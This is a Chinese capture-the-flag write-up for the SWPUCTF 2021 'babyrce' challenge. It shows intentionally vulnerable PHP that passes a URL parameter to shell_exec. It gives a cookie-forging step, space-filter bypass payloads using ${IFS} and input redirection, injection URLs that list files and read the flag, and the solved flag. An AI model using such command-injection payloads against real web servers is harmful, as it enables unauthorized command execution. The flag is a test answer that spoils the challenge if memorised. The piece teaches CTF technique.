[SWPUCTF 2021 新生赛]babyrce

简介: [SWPUCTF 2021 新生赛]babyrce

0×01
打开题目环境,直接看重要代码

if($_COOKIE['admin']==1) 
{
    include "../next.php";
}

发现只有当COOKIE中admin的值等于1才可以执行下一步命令,跳出下一个文件。

0×02
打开题目环境,使用burp进行抓包,在抓包信息中,添加如下代码:

COOKIE:admin=1

Forward重放
在环境中发现新的PHP文件
rasalghul.php
url/rasalghul.php进行访问
发现PHP代码

if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}

给了一个参数url,发现还需要进行空格绕过。
常用的绕过方法

cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

使用url=ls${IFS}查看根目录下的文件

url/rasalghul.php/?url=ls${IFS}

发现可疑文件flllllaaaaaaggggggg,疑似flag
构造payload并进行空格绕过,读取flag

url/rasalghul.php/?url=cat${IFS}$1/flllllaaaaaaggggggg

回显flag

NSSCTF{74e32ff7-033e-4262-887f-06968c36d204}
目录
相关文章
|
JSON PHP 数据格式
[SWPUCTF 2021 新生赛]jicao
[SWPUCTF 2021 新生赛]jicao
841 0
|
JSON 开发框架 网络安全
[网络安全] Dirsearch 工具的安装、使用详细教程
[网络安全] Dirsearch 工具的安装、使用详细教程
9530 0
|
应用服务中间件 PHP nginx
NSS [HNCTF 2022 WEEK2]easy_include
NSS [HNCTF 2022 WEEK2]easy_include
242 0
|
Shell
[SWPUCTF 2021 新生赛]gift_pwn-入土为安的第十五天
[SWPUCTF 2021 新生赛]gift_pwn-入土为安的第十五天
565 0
NSS [SWPUCTF 2022 新生赛]where_am_i
NSS [SWPUCTF 2022 新生赛]where_am_i
222 0
|
数据安全/隐私保护
NSS [SWPUCTF 2022 新生赛]奇妙的MD5
NSS [SWPUCTF 2022 新生赛]奇妙的MD5
233 0
|
开发工具 数据安全/隐私保护 git
NSS [第五空间 2021]WebFTP
NSS [第五空间 2021]WebFTP
234 0
|
存储 PHP 数据安全/隐私保护
攻防世界 Web_php_unserialize
攻防世界 Web_php_unserialize
462 0
|
PHP
NSS [鹏城杯 2022]简单包含
NSS [鹏城杯 2022]简单包含
147 0
|
安全 数据安全/隐私保护
[SWPUCTF 2021 新生赛]caidao
[SWPUCTF 2021 新生赛]caidao
571 0